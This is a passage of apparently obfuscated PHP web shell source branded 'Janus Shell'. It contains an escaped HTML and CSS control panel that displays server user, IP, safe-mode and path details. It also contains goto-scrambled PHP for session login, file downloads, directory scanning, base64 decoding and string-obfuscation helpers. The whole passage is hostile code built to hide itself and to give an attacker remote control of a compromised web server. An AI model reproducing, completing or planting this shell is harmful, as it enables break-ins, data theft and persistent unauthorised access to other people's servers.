0\141\x6c\154\x20\60\56\x32\x73\x3b\x20\175\12\x20\11\11\x2e\164\141\142\55\154\151\156\153\56\x61\143\164\x69\166\145\x20\x7b\x20\x63\x6f\154\157\162\72\x20\166\x61\162\x28\55\55\x61\143\x63\145\x6e\164\x2d\x62\154\165\x65\x29\x3b\x20\x62\157\x72\144\145\162\x2d\142\157\164\164\157\155\55\143\x6f\x6c\157\162\x3a\x20\x76\x61\x72\x28\55\55\141\143\143\145\156\164\x2d\142\x6c\165\145\x29\x3b\40\175\12\x20\x9\11\x2e\x74\x61\x62\x2d\143\157\x6e\x74\145\x6e\164\40\173\x20\x64\151\163\x70\x6c\x61\171\72\x20\156\157\156\x65\73\x20\175\xa\40\x9\11\x2e\164\x61\142\x2d\143\x6f\156\164\145\156\x74\56\141\143\x74\x69\166\x65\x20\173\x20\x64\151\x73\x70\154\x61\171\x3a\x20\142\154\157\x63\153\73\40\175\12\x20\11\11\150\x72\x20\x7b\40\x62\x6f\162\144\x65\162\55\x63\x6f\154\x6f\x72\x3a\x20\166\x61\162\50\x2d\55\x62\x6f\162\144\x65\x72\x2d\x63\x6f\154\157\x72\51\73\40\155\x61\162\x67\151\156\72\x20\62\x72\145\155\x20\x30\x3b\40\142\157\x72\144\x65\162\x2d\163\164\x79\x6c\x65\x3a\x20\x73\157\x6c\151\144\x3b\40\x62\x6f\x72\144\x65\x72\55\x77\x69\144\x74\x68\72\x20\61\160\170\x20\x30\x20\x30\40\60\x3b\x20\x7d\12\40\x9\x9\56\143\157\156\x66\x69\147\55\146\x6f\x75\156\x64\40\173\40\x62\157\x72\144\x65\x72\72\40\61\x70\x78\40\163\157\x6c\151\x64\x20\x76\x61\162\x28\55\55\x62\157\x72\x64\145\x72\55\x63\x6f\154\157\x72\51\73\40\142\x6f\162\144\x65\162\55\162\141\144\151\x75\x73\x3a\x20\x36\x70\170\x3b\x20\x6d\x61\x72\x67\151\156\x2d\142\x6f\x74\164\157\x6d\72\40\61\162\x65\x6d\x3b\40\175\12\40\11\11\56\x63\x6f\x6e\146\x69\147\55\146\157\165\x6e\x64\55\150\x65\141\144\145\x72\40\x7b\40\x62\x61\x63\x6b\147\x72\157\x75\x6e\144\72\x20\x76\141\162\x28\x2d\55\142\x67\55\x6c\x69\147\x68\x74\51\73\x20\160\x61\144\x64\x69\x6e\147\72\40\x38\160\x78\x20\61\62\160\x78\73\x20\x66\157\156\164\x2d\167\x65\151\147\150\x74\x3a\x20\x35\60\x30\73\x20\x63\157\154\x6f\x72\72\x20\166\141\x72\x28\55\x2d\x61\143\143\145\x6e\164\x2d\147\x72\x65\x65\156\x29\73\x20\175\12\x20\11\11\56\x63\x6f\x6e\x66\151\147\x2d\x66\157\165\x6e\x64\55\142\157\144\x79\40\173\40\x70\141\144\x64\x69\156\147\72\40\61\x32\x70\170\x3b\40\x77\x68\x69\164\145\55\x73\x70\x61\143\x65\72\40\x70\x72\x65\x2d\167\162\141\160\73\x20\x77\x6f\x72\144\x2d\142\x72\x65\x61\x6b\72\40\142\162\x65\x61\x6b\55\141\x6c\x6c\x3b\x20\x6d\141\x78\x2d\150\145\151\147\150\164\72\x20\63\x30\60\160\x78\x3b\40\157\x76\145\162\x66\154\157\167\x2d\171\72\x20\141\165\x74\157\73\40\175\xa\40\11\11\56\164\x6f\x6f\x6c\x2d\x69\156\160\x75\164\x2d\x67\162\157\165\x70\x20\x7b\40\x64\x69\x73\160\154\141\171\72\x20\x67\x72\x69\x64\x3b\40\147\x72\151\144\55\x74\x65\x6d\x70\x6c\141\x74\145\x2d\143\157\154\165\x6d\156\163\x3a\40\61\146\x72\x3b\x20\147\141\160\x3a\x20\60\56\70\x72\x65\x6d\73\x20\x6d\141\x72\x67\x69\156\55\x62\x6f\164\x74\x6f\155\72\40\61\162\x65\x6d\73\40\x7d\12\40\x9\x9\100\x6d\145\144\x69\141\40\50\155\x69\x6e\55\x77\151\x64\x74\x68\72\40\x36\x30\x30\x70\170\51\40\173\x20\x2e\x74\157\x6f\154\55\151\156\160\165\164\55\147\162\x6f\165\x70\x20\173\40\147\162\x69\x64\x2d\164\x65\x6d\160\154\141\164\145\x2d\x63\157\154\x75\x6d\156\163\x3a\x20\162\x65\x70\145\x61\x74\x28\x61\165\164\157\55\146\x69\x74\54\x20\x6d\x69\156\155\x61\x78\50\x32\60\x30\160\x78\x2c\40\61\x66\162\51\51\73\40\175\x20\175\12\xa\xa\11\11\57\52\x20\55\x2d\55\x20\115\157\x62\151\x6c\x65\40\x52\x65\x73\x70\x6f\156\163\x69\166\145\x20\x2d\x2d\x2d\40\52\x2f\12\11\11\100\155\x65\144\151\x61\40\50\155\141\170\55\x77\x69\144\164\150\72\40\x37\66\70\160\x78\51\40\x7b\xa\11\11\x9\x62\157\144\171\40\x7b\x20\146\157\156\164\55\163\151\x7a\145\72\40\x31\x33\x70\170\73\40\x2d\x77\x65\x62\153\x69\164\55\164\145\170\164\55\x73\x69\x7a\145\x2d\x61\x64\x6a\165\163\164\72\40\61\x30\x30\x25\x3b\40\175\12\x9\x9\x9\56\150\x65\141\x64\x65\162\55\x63\x6f\154\x6c\141\160\163\145\x2d\x62\x74\x6e\x20\x7b\x20\144\x69\163\x70\154\x61\171\72\40\x62\154\x6f\143\x6b\x20\x21\151\155\160\157\162\x74\x61\x6e\164\x3b\x20\x76\151\163\x69\142\151\154\151\164\171\x3a\40\x76\x69\x73\x69\142\154\x65\40\x21\x69\155\160\x6f\162\164\x61\156\x74\73\x20\157\160\x61\x63\151\x74\171\72\x20\61\x20\x21\x69\155\x70\157\162\164\x61\156\x74\x3b\40\x7d\xa\x9\11\x9\56\x73\171\x73\x74\145\155\55\x69\156\146\157\55\150\145\141\x64\145\x72\x2d\143\x6f\156\164\x65\156\164\x20\x7b\40\146\154\145\x78\x2d\144\x69\x72\x65\x63\x74\x69\x6f\156\x3a\40\x63\x6f\x6c\x75\155\x6e\x3b\40\x7d\xa\11\x9\x9\x2e\163\x79\x73\x74\x65\x6d\x2d\x69\156\146\x6f\55\150\x65\141\x64\x65\x72\56\143\157\x6c\x6c\141\160\x73\x65\x64\x20\x2e\x73\x79\163\x74\145\x6d\55\151\x6e\146\157\55\150\145\x61\x64\x65\162\55\x63\x6f\156\x74\145\x6e\164\40\173\x20\144\151\x73\160\x6c\x61\171\72\x20\x6e\x6f\156\x65\40\x21\151\x6d\x70\x6f\162\x74\x61\156\x74\73\40\x76\151\163\x69\142\151\154\x69\x74\x79\x3a\40\x68\x69\x64\144\x65\156\x20\41\151\155\x70\x6f\162\164\x61\x6e\164\73\x20\175\xa\11\11\11\56\163\171\x73\164\145\155\55\151\x6e\x66\157\55\150\x65\141\144\145\162\56\143\x6f\154\x6c\141\x70\x73\x65\144\40\x7b\40\160\x61\144\144\151\156\147\x3a\x20\x30\x2e\65\x72\x65\155\x20\x31\162\145\x6d\73\x20\x6d\x69\156\55\x68\x65\x69\x67\x68\164\x3a\x20\x35\60\x70\170\73\40\x70\157\163\x69\164\151\x6f\x6e\x3a\x20\x72\x65\154\x61\164\x69\166\145\73\40\175\xa\x9\x9\x9\56\x73\171\163\x74\x65\x6d\55\x69\156\146\157\x2d\150\x65\x61\x64\x65\162\56\143\157\x6c\x6c\x61\x70\163\145\x64\40\x2e\150\145\x61\144\x65\x72\55\143\157\154\154\x61\160\x73\x65\x2d\142\164\156\x20\173\x20\12\11\x9\11\11\x64\x69\163\x70\154\141\171\72\40\142\x6c\157\x63\153\40\41\x69\155\x70\157\x72\x74\141\156\164\x3b\40\xa\11\11\x9\11\166\x69\163\x69\x62\x69\154\x69\x74\x79\x3a\40\x76\x69\163\151\142\x6c\x65\40\x21\151\x6d\x70\157\x72\x74\141\x6e\x74\x3b\x20\12\x9\11\11\11\x6f\160\141\x63\x69\164\x79\72\40\x31\40\41\x69\x6d\160\157\162\x74\x61\156\164\73\xa\x9\x9\x9\x9\x70\x6f\x73\151\164\x69\x6f\x6e\x3a\x20\x61\142\163\x6f\x6c\165\x74\145\40\41\151\155\160\x6f\x72\x74\141\156\x74\73\40\xa\x9\11\x9\11\x74\x6f\x70\72\x20\60\56\63\162\145\x6d\x20\41\x69\x6d\x70\157\x72\164\x61\x6e\x74\73\x20\12\x9\x9\11\11\x72\x69\147\x68\x74\72\x20\60\x2e\65\162\145\x6d\x20\x21\151\155\x70\x6f\x72\164\141\156\x74\73\x20\12\x9\11\x9\11\x6d\x61\x72\x67\151\156\x3a\40\x30\x20\x21\x69\155\160\x6f\162\x74\x61\156\x74\73\x20\xa\x9\11\x9\x9\172\x2d\x69\x6e\144\x65\x78\72\x20\61\60\60\60\x20\x21\151\155\160\157\162\164\x61\x6e\x74\73\12\x9\x9\x9\x9\160\x6f\x69\x6e\x74\x65\x72\55\x65\166\x65\x6e\164\x73\72\40\x61\x75\x74\x6f\40\41\x69\x6d\x70\x6f\162\x74\x61\156\164\x3b\12\x9\x9\11\175\xa\x9\11\x9\x2e\163\x79\x73\55\x69\x6e\x66\x6f\x2d\154\x65\146\x74\x20\x7b\40\x67\162\x69\144\x2d\164\x65\x6d\x70\154\x61\x74\x65\55\x63\x6f\x6c\x75\x6d\x6e\163\x3a\x20\61\146\162\73\x20\147\141\x70\72\40\60\x2e\x33\162\x65\x6d\73\40\146\157\x6e\164\55\x73\151\172\x65\72\x20\x30\56\70\162\145\x6d\x3b\40\x7d\12\x9\x9\11\x2e\x73\x79\x73\x2d\x69\x6e\146\157\x2d\162\x69\147\150\x74\x20\x7b\x20\164\145\170\x74\55\141\154\151\x67\x6e\72\40\154\145\146\x74\73\x20\x77\151\144\164\x68\x3a\x20\61\60\x30\45\x3b\x20\x7d\12\x9\11\x9\x2e\152\x61\x6e\165\163\55\x6c\x6f\147\x6f\x2d\x63\x6f\156\x74\x61\151\x6e\x65\x72\40\x7b\40\x61\154\151\x67\156\55\x69\x74\x65\x6d\163\72\40\146\154\x65\170\x2d\163\x74\x61\x72\164\x3b\x20\175\xa\x9\11\11\56\152\x61\156\165\163\55\x6c\x6f\147\x6f\x20\x7b\40\x66\157\156\x74\55\x73\x69\x7a\x65\x3a\40\x39\x70\x78\73\40\175\xa\11\11\x9\56\152\x61\x6e\165\163\55\x76\145\x72\x73\x69\x6f\156\40\173\40\x66\x6f\x6e\164\x2d\x73\x69\x7a\145\72\x20\60\56\x39\162\145\x6d\73\40\175\12\x9\x9\x9\56\156\141\x76\55\143\x6f\x6c\x6c\x61\160\163\x65\55\142\x74\x6e\x20\x7b\x20\x64\x69\x73\160\154\x61\x79\72\40\142\x6c\x6f\x63\x6b\x3b\40\x7d\12\x9\x9\x9\56\x6e\141\x76\55\x62\165\164\x74\157\156\x73\x2d\x63\x6f\156\x74\x61\x69\156\x65\162\x20\173\40\144\x69\163\160\x6c\x61\x79\x3a\40\156\x6f\156\x65\x3b\x20\146\154\145\x78\x2d\x64\x69\162\x65\143\x74\151\157\156\72\40\x63\x6f\154\x75\x6d\x6e\73\40\147\141\160\72\40\60\x2e\x34\x72\x65\x6d\x3b\x20\x6d\x61\170\55\150\x65\x69\147\x68\x74\72\x20\x30\73\x20\157\x76\x65\x72\146\x6c\x6f\x77\x3a\40\x68\x69\x64\x64\x65\x6e\x3b\40\x74\162\141\156\163\x69\164\151\157\x6e\72\x20\155\x61\x78\x2d\150\145\x69\x67\150\x74\40\60\56\63\163\40\145\141\163\x65\55\x6f\x75\164\73\40\x7d\12\11\x9\11\x2e\x74\157\x70\x2d\x6e\x61\166\142\141\x72\56\145\170\160\x61\x6e\144\x65\144\x20\x2e\x6e\x61\166\55\142\165\x74\x74\157\156\x73\55\x63\x6f\x6e\164\x61\x69\156\145\x72\40\173\x20\x64\x69\163\160\154\x61\171\72\40\x66\x6c\145\x78\x3b\40\x6d\141\170\55\x68\145\x69\x67\x68\x74\x3a\40\70\60\166\150\x3b\x20\x6f\166\145\162\146\x6c\157\x77\55\x79\x3a\40\141\x75\164\x6f\73\40\175\12\x9\x9\11\56\164\x6f\160\55\156\x61\x76\x62\141\x72\40\173\x20\x70\141\144\144\x69\156\147\72\x20\x30\x2e\64\162\x65\x6d\x20\60\x2e\x35\162\x65\155\73\x20\x7d\xa\x9\11\x9\56\x6e\x61\166\55\142\165\164\164\x6f\156\x20\x7b\40\x70\141\x64\144\x69\x6e\x67\x3a\40\x30\56\x35\162\x65\155\40\x30\x2e\x38\x72\x65\x6d\x3b\x20\146\x6f\156\x74\55\163\151\172\x65\72\x20\61\62\160\170\73\x20\x77\151\x64\164\150\72\40\x31\x30\60\45\73\x20\x6a\x75\163\x74\151\x66\x79\55\143\157\x6e\164\x65\x6e\164\72\40\143\145\156\164\145\x72\73\x20\x7d\12\x9\11\x9\x2e\143\x6f\x6e\x74\x65\x6e\x74\x2d\x61\162\145\x61\x20\173\x20\x70\x61\x64\x64\x69\156\x67\72\x20\x31\x72\x65\x6d\73\40\x7d\12\11\11\11\x2e\x63\x6f\156\164\145\x6e\x74\55\x68\145\141\144\x65\162\40\x7b\40\x66\157\156\x74\x2d\x73\151\x7a\145\x3a\x20\x31\56\x31\x72\x65\x6d\73\x20\175\12\x9\11\x9\56\155\x6f\x64\x61\x6c\55\x63\157\x6e\x74\x65\x6e\164\x20\173\x20\167\x69\x64\164\150\x3a\x20\x39\x35\x76\167\73\40\155\x61\x78\55\150\x65\151\x67\150\x74\72\x20\x39\x30\x76\x68\x3b\x20\175\xa\x9\11\x9\x2e\163\x79\163\55\x69\x6e\x66\157\55\x67\x72\151\x64\40\173\x20\x67\x72\x69\144\x2d\x74\145\x6d\160\x6c\x61\x74\145\55\x63\157\154\165\155\156\163\x3a\x20\61\x66\162\x3b\40\x67\x61\x70\72\40\x38\160\170\x20\x30\73\x20\175\xa\x9\11\x9\56\x73\171\163\x2d\151\156\x66\x6f\x2d\147\162\x69\x64\40\163\160\x61\x6e\72\x6e\164\150\x2d\143\x68\x69\x6c\x64\x28\157\x64\x64\x29\x20\x7b\x20\x74\x65\170\164\55\141\x6c\151\147\x6e\x3a\x20\x6c\x65\146\164\73\40\x66\157\156\x74\x2d\x73\x69\x7a\x65\72\40\60\x2e\x38\162\x65\155\x3b\x20\x63\157\154\157\x72\x3a\40\x76\141\x72\x28\55\x2d\164\145\x78\x74\55\x6d\x65\144\x29\73\x20\175\xa\x9\11\x9\56\163\x79\x73\55\151\x6e\x66\x6f\55\147\x72\151\144\40\163\x70\x61\156\x3a\x6e\x74\x68\55\x63\x68\151\x6c\x64\50\145\x76\145\156\x29\x20\173\x20\x70\141\144\x64\x69\156\147\55\154\145\146\164\x3a\x20\61\60\x70\170\73\40\175\12\11\x9\11\56\146\x69\x6c\x65\55\155\141\x6e\x61\147\x65\x72\x2d\143\157\156\164\x72\157\x6c\x73\x20\173\x20\x66\x6c\x65\x78\x2d\x64\x69\162\145\x63\164\151\157\x6e\x3a\40\x63\x6f\154\165\155\156\73\x20\147\141\x70\72\x20\61\60\x70\170\x3b\x20\141\154\x69\x67\x6e\55\x69\x74\x65\x6d\x73\x3a\x20\x73\164\x72\x65\x74\x63\150\73\x20\x7d\12\11\11\x9\56\146\151\x6c\x65\55\x6d\141\156\x61\x67\x65\x72\x2d\143\157\x6e\164\x72\157\x6c\x73\x20\x3e\x20\144\151\x76\x20\x7b\40\144\151\x73\x70\x6c\x61\x79\x3a\40\146\154\145\170\73\40\x66\154\x65\170\x2d\x77\162\x61\160\x3a\x20\x77\x72\x61\160\x3b\40\x67\141\x70\x3a\x20\70\160\170\x3b\x20\x6a\165\163\x74\x69\x66\171\55\143\x6f\156\x74\145\156\x74\x3a\x20\x63\145\x6e\x74\x65\x72\73\x20\175\xa\11\x9\x9\56\146\151\x6c\x65\x2d\155\141\x6e\x61\147\x65\162\x2c\40\x23\x64\142\x2d\x72\145\163\165\154\x74\x73\55\x63\157\x6e\164\x61\151\x6e\x65\162\40\x7b\40\157\166\145\162\146\154\x6f\167\x2d\170\x3a\40\x61\x75\x74\x6f\x3b\x20\175\xa\11\x9\x9\x2e\146\151\x6c\145\55\155\141\156\141\x67\145\x72\x20\164\x61\142\154\x65\x20\164\x64\x2c\40\x2e\x66\151\154\145\x2d\x6d\141\156\141\x67\145\162\40\164\141\142\x6c\x65\40\x74\150\40\173\x20\x70\x61\x64\x64\151\156\147\72\40\x31\x30\x70\170\x20\x31\62\160\x78\73\x20\175\12\x9\11\11\x2e\164\157\157\x6c\x2d\163\x65\143\x74\151\x6f\156\40\x3e\x20\x64\151\166\x20\173\40\x66\154\x65\170\x2d\x64\151\162\145\143\x74\151\x6f\x6e\x3a\x20\143\x6f\154\x75\x6d\x6e\73\40\x7d\xa\x9\x9\11\x2e\164\157\x6f\154\x2d\163\145\x63\164\151\157\156\x20\151\x6e\160\x75\x74\54\40\56\164\x6f\x6f\x6c\x2d\163\x65\x63\164\151\157\x6e\40\163\145\x6c\145\143\164\40\x7b\x20\x77\x69\144\x74\x68\72\40\x31\60\60\x25\x3b\x20\x6d\141\x72\147\x69\x6e\x2d\x72\x69\x67\150\164\72\40\x30\x20\x21\151\x6d\160\x6f\162\164\x61\x6e\164\x3b\x20\x7d\xa\x9\x9\11\x2e\x64\x62\55\x66\x6f\162\155\55\x67\x72\151\x64\x20\x7b\x20\x67\162\x69\144\55\x74\145\155\x70\x6c\141\x74\145\x2d\x63\x6f\154\165\x6d\x6e\x73\72\40\61\146\162\73\40\175\12\x9\11\11\x2e\x74\x65\162\155\x2d\160\162\x6f\155\160\164\x20\x7b\40\x66\154\145\x78\x2d\x77\x72\141\x70\72\40\x77\x72\x61\x70\73\x20\175\xa\11\11\175\xa\x9\x9\x2f\52\40\x2d\55\x2d\40\x45\156\x64\40\115\157\142\x69\x6c\145\40\55\x2d\x2d\40\52\x2f\xa\x20\11\x3c\x2f\163\164\171\154\x65\76\xa\x20\x3c\57\150\145\141\144\x3e\12\40\x3c\x62\157\144\x79\76\xa\x9\x3c\144\151\166\40\143\154\141\163\163\x3d\x22\x73\x79\x73\x74\x65\x6d\55\151\x6e\x66\x6f\x2d\x68\x65\141\144\x65\162\42\40\151\144\x3d\x22\163\171\x73\x74\145\155\x2d\x69\x6e\x66\x6f\x2d\150\x65\x61\x64\145\162\42\76\xa\x9\x9\x3c\x62\x75\164\x74\x6f\156\40\143\154\141\163\163\75\42\150\145\x61\x64\x65\162\x2d\143\157\x6c\x6c\x61\x70\163\x65\x2d\x62\164\x6e\x22\40\151\144\75\x22\150\x65\x61\x64\x65\162\x2d\143\x6f\x6c\154\141\x70\163\145\55\142\x74\156\x22\40\x74\x69\x74\x6c\x65\x3d\42\124\157\147\x67\x6c\145\40\x53\x79\163\x74\145\155\40\111\156\146\x6f\42\76\342\x98\260\74\57\x62\x75\x74\164\x6f\x6e\76\12\x9\x9\74\144\x69\166\x20\x63\154\x61\163\x73\x3d\42\x73\171\x73\164\145\x6d\55\x69\x6e\x66\x6f\x2d\x68\145\141\x64\x65\x72\55\x63\x6f\156\x74\x65\156\x74\x22\76\12\11\x9\x9\x3c\x64\151\x76\40\x63\154\x61\x73\x73\x3d\x22\163\x79\x73\55\151\x6e\146\x6f\55\154\x65\146\x74\x22\76\xa\x9\x9\x9\74\x64\x69\x76\x20\x63\x6c\141\x73\x73\x3d\42\163\171\163\55\151\x6e\146\157\55\x69\x74\145\155\42\76\x3c\x73\x74\162\x6f\x6e\x67\76\125\156\141\155\145\72\x3c\x2f\x73\164\x72\x6f\x6e\x67\76\40\x3c\163\160\x61\156\x20\x69\x64\x3d\x22\163\171\163\55\x75\156\x61\155\x65\42\x3e\x2d\x2d\74\57\163\160\x61\156\76\x3c\57\144\x69\x76\x3e\12\11\x9\11\74\x64\x69\x76\x20\x63\x6c\141\163\x73\x3d\x22\x73\171\x73\x2d\151\x6e\x66\157\x2d\151\164\145\155\42\76\x3c\163\x74\162\157\x6e\x67\x3e\125\x73\x65\x72\72\74\57\163\x74\162\157\x6e\147\76\40\74\x73\x70\141\x6e\x20\151\144\75\x22\163\x79\163\55\165\163\x65\x72\42\76\55\x2d\x3c\x2f\163\x70\x61\x6e\x3e\40\74\x73\164\162\157\x6e\x67\x3e\x47\162\157\x75\160\72\x3c\x2f\x73\x74\162\x6f\x6e\147\76\x20\x3c\163\x70\141\156\40\151\144\75\x22\x73\171\163\55\x67\x72\157\x75\160\42\x3e\x2d\x2d\x3c\57\163\x70\x61\x6e\x3e\x3c\57\x64\x69\x76\76\12\11\11\x9\x3c\x64\x69\x76\40\143\x6c\141\163\163\75\42\163\171\163\55\x69\156\x66\157\55\x69\x74\x65\x6d\42\x3e\x3c\x73\164\x72\157\x6e\x67\76\120\x48\120\x3a\x3c\57\x73\164\x72\x6f\x6e\x67\x3e\40\74\163\160\141\156\40\x69\x64\75\42\x73\x79\163\x2d\160\x68\x70\55\x73\141\146\145\x22\40\x73\164\171\154\145\x3d\x22\143\157\x6c\x6f\162\72\166\141\x72\50\x2d\x2d\x61\x63\143\x65\156\164\x2d\x67\162\145\145\x6e\x29\x3b\x22\x3e\x53\141\146\x65\x20\x4d\x6f\x64\x65\x3a\40\x4f\106\106\74\x2f\x73\160\x61\156\x3e\x3c\x2f\144\x69\166\76\xa\11\11\11\x3c\x64\151\166\40\x63\x6c\x61\163\x73\75\42\163\x79\x73\55\151\156\146\x6f\55\151\x74\145\x6d\42\x3e\74\163\x74\162\157\x6e\x67\76\x53\145\x72\x76\145\x72\x49\120\x3a\x3c\x2f\163\164\162\157\x6e\147\76\x20\x3c\163\160\141\x6e\x20\151\x64\x3d\x22\163\x79\x73\x2d\x73\x65\162\x76\x65\x72\x69\x70\x22\x3e\x2d\x2d\x3c\x2f\163\160\x61\x6e\x3e\74\57\144\x69\166\x3e\xa\11\11\x9\x3c\x64\x69\166\x20\143\154\141\x73\163\x3d\x22\x73\171\163\55\x69\156\x66\157\55\151\164\x65\155\x22\x3e\74\x73\164\162\157\x6e\x67\76\x44\x61\164\x65\124\x69\155\x65\x3a\x3c\57\x73\x74\162\x6f\156\x67\76\x20\74\163\160\x61\x6e\x20\x69\144\75\x22\x73\171\x73\x2d\x64\141\164\x65\164\151\x6d\145\x22\x3e\55\x2d\74\x2f\x73\160\141\x6e\x3e\74\x2f\144\151\166\76\12\11\x9\11\x3c\x64\151\x76\x20\x63\154\141\163\163\75\x22\163\171\163\55\x69\x6e\x66\x6f\55\x69\x74\x65\155\42\x3e\74\x73\164\162\157\156\x67\76\110\104\x44\72\x3c\x2f\x73\164\x72\157\156\147\x3e\x20\74\163\x70\141\x6e\40\x69\x64\75\x22\x73\x79\x73\x2d\150\144\x64\42\x3e\55\55\x3c\x2f\x73\160\141\x6e\76\74\57\144\151\x76\x3e\xa\x9\x9\x9\x3c\x64\x69\166\x20\x63\x6c\141\163\163\75\x22\163\x79\163\55\151\x6e\x66\157\55\151\164\x65\155\x22\x3e\x3c\x73\164\162\x6f\x6e\x67\76\117\160\145\x6e\137\142\141\x73\145\x64\x69\x72\72\74\57\x73\164\162\157\x6e\147\x3e\40\x3c\x73\160\141\156\x20\151\x64\x3d\x22\163\x79\x73\55\x62\141\163\x65\144\x69\162\x22\x20\x73\164\x79\154\x65\75\42\x63\157\154\157\x72\x3a\166\141\x72\50\55\55\x61\x63\x63\145\x6e\164\x2d\147\162\145\145\x6e\x29\x3b\x22\x3e\116\x4f\x4e\x45\x3c\57\x73\160\x61\156\76\x3c\x2f\x64\x69\166\x3e\xa\11\x9\x9\74\144\x69\166\x20\143\154\141\x73\x73\75\42\163\171\163\55\x69\x6e\x66\157\x2d\x69\x74\145\155\x22\x3e\x3c\163\164\162\x6f\x6e\147\76\120\127\x44\x3a\74\57\x73\164\x72\x6f\156\x67\x3e\x20\x3c\163\160\141\x6e\x20\x69\x64\x3d\x22\163\171\x73\55\160\x77\144\42\76\55\x2d\x3c\x2f\163\x70\141\x6e\76\74\57\x64\x69\x76\76\12\x9\11\x3c\57\144\151\166\x3e\xa\11\11\x3c\144\151\166\x20\x63\154\141\163\x73\75\42\x73\171\163\x2d\151\156\x66\157\55\162\x69\x67\x68\164\42\x3e\xa\x9\x9\x9\74\144\x69\x76\x20\x63\154\x61\163\163\x3d\x22\152\141\x6e\x75\163\55\x6c\157\x67\157\55\143\157\x6e\164\x61\x69\156\145\x72\42\76\xa\11\11\x9\11\x3c\160\162\x65\x20\143\154\x61\163\x73\x3d\x22\x6a\141\x6e\165\x73\x2d\x6c\157\x67\x6f\42\x3e\x20\x20\40\x20\x7c\x20\x20\40\40\174\x5f\137\137\x5f\x20\40\40\40\137\137\137\137\x20\40\137\137\x20\x5f\x5f\x20\40\137\x5f\x5f\137\x5f\x5f\12\40\x20\40\x20\x7c\40\x20\x20\40\134\x5f\x5f\40\x20\x5c\40\x20\57\x20\x20\x20\40\134\174\40\40\174\x20\x20\x5c\57\40\40\x5f\x5f\137\x2f\xa\57\134\137\x5f\x7c\x20\x20\40\40\x7c\x2f\x20\x5f\x5f\x20\134\174\40\40\40\x20\x7c\x20\x20\134\x20\40\174\x20\40\57\x5c\137\137\137\40\134\12\134\137\137\x5f\x5f\137\x5f\137\x5f\50\137\137\x5f\137\40\x20\x2f\137\137\137\174\40\x20\57\137\137\137\x5f\x2f\x2f\137\x5f\x5f\x5f\40\x20\76\xa\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\134\x2f\x20\x20\40\x20\x20\x20\134\x2f\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x5c\x2f\x3c\x2f\x70\162\145\76\xa\x9\x9\x9\11\74\x64\x69\166\40\x63\154\x61\x73\x73\75\42\x6a\141\x6e\x75\163\55\x76\145\162\163\151\157\156\x22\x3e\112\141\x6e\x75\x73\40\123\x68\145\154\154\x20\166"; goto vKpYY; dKlZH: echo __FILE__; goto v70w0; jTnIY: flush(); goto YEa1Z; sHjTd: if (isset($_SESSION["\x6a\141\156\x75\x73\137\x61\x75\x74\150\x65\x6e\164\x69\x63\x61\x74\x65\144"])) { goto GZQX6; } goto wwxco; UsKhM: CZSD2: goto S6BO2; Zub6s: ob_clean(); goto pmuGk; CrrfL: if (!is_dir($_SESSION["\143\167\144"])) { goto OwxwL; } goto E_DtZ; BpwNN: ob_clean(); goto i1a8p; jeT10: ASfNK: goto ErYmH; uhRVq: if (!(is_file($Q0s1i) && is_readable($Q0s1i))) { goto qhSZg; } goto dPCRl; ErYmH: bThLh: goto vECbI; bmy9w: @ignore_user_abort(true); goto bJ2m9; BE0ri: function O1UOT($dwgDQ) { goto PfbrV; t5VQH: goto ZR2b_; goto F8M3B; PfbrV: if (!($dwgDQ == 0)) { goto i8Aqc; } goto K1LBT; F8M3B: sRvKS: goto i0FyS; K1LBT: return "\x30\x20\102"; goto e34KY; i0FyS: return round($dwgDQ, 2) . "\40" . $REfT6[$jY45d]; goto DPsK9; y6haT: $dwgDQ /= 1024; goto A0hY3; oLQ2F: if (!($dwgDQ >= 1024 && $jY45d < 4)) { goto sRvKS; } goto y6haT; A0hY3: $jY45d++; goto t5VQH; kBzd3: ZR2b_: goto oLQ2F; GKn3b: $REfT6 = ["\102", "\x4b\x42", "\x4d\102", "\107\102", "\124\102"]; goto eIN3t; e34KY: i8Aqc: goto GKn3b; eIN3t: $jY45d = 0; goto kBzd3; DPsK9: } goto fBS2k; jLTgu: function nZ_aT($siOBH) { goto E8a6z; aDWow: kensD: goto rEIiI; E8a6z: $yDKeU = YwbXs($siOBH); goto t4Aq2; t4Aq2: if (!($yDKeU !== false && !empty($yDKeU))) { goto kensD; } goto Ry50I; Ry50I: return $yDKeU; goto aDWow; rEIiI: return base64_decode($siOBH); goto KkDbI; KkDbI: } goto woHxu; UThDD: echo __FILE__; goto BNW98; mxnF5: ro08K: goto zQzfB; LS4iM: header("\x43\157\156\x74\145\x6e\x74\55\114\145\x6e\147\164\x68\x3a\40" . filesize($Q0s1i)); goto aqr3A; Q9FIj: header("\x43\157\156\x74\x65\156\x74\x2d\104\151\x73\160\157\x73\151\x74\x69\157\156\x3a\40\x61\x74\164\x61\x63\x68\x6d\145\x6e\x74\73\40\146\x69\154\145\x6e\141\155\x65\x3d\42" . $YOfeG . "\42"); goto dufTU; L4CfJ: exit; goto mxnF5; vtjgK: $_GET["\141\143\164\x69\157\156"] = $VtInv; goto uwI21; lw9o7: function IcVUi($j3_hR) { goto kCSiW; R_E3G: return $p2RFD; goto TTjQL; jHE4q: if (is_dir($j3_hR)) { goto DIpea; } goto R_E3G; DDMUP: foreach ($yPpFX as $Q0s1i) { goto MQEON; SAEA9: k2z5J: goto rfBXj; CC2qg: $p2RFD[$Q0s1i->getRealPath()] = $Q0s1i->getMTime(); goto lEdG3; MQEON: if (!$Q0s1i->isFile()) { goto Pswee; } goto CC2qg; lEdG3: Pswee: goto SAEA9; rfBXj: } goto f8Z1G; kCSiW: $p2RFD = []; goto jHE4q; TTjQL: DIpea: goto o3Tpa; nCtPR: return $p2RFD; goto hOhlW; o3Tpa: $yPpFX = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($j3_hR, RecursiveDirectoryIterator::SKIP_DOTS)); goto DDMUP; f8Z1G: D3ZM3: goto nCtPR; hOhlW: } goto Dt0h7; eQjwx: function mrzr7($MTLTy) { goto KLMad; oat1B: return $zzIgE[$LyaNr]($MTLTy); goto WEjcP; KLMad: $zzIgE = ["\x63\150\x72" => function ($CnnQw) { goto lT_gz; UHSYI: $olRGv .= "\x63\150\162\50" . ord($CnnQw[$jY45d]) . "\x29\x2e"; goto o_dxa; o_dxa: Z5RqB: goto tUPWa; ODfUD: $jY45d = 0; goto wru1I; exthK: JHwiY: goto HUKD3; kx6f1: if (!($jY45d < strlen($CnnQw))) { goto JHwiY; } goto UHSYI; lT_gz: $olRGv = ''; goto ODfUD; wamAK: goto US_3V; goto exthK; HUKD3: return rtrim($olRGv, "\56"); goto 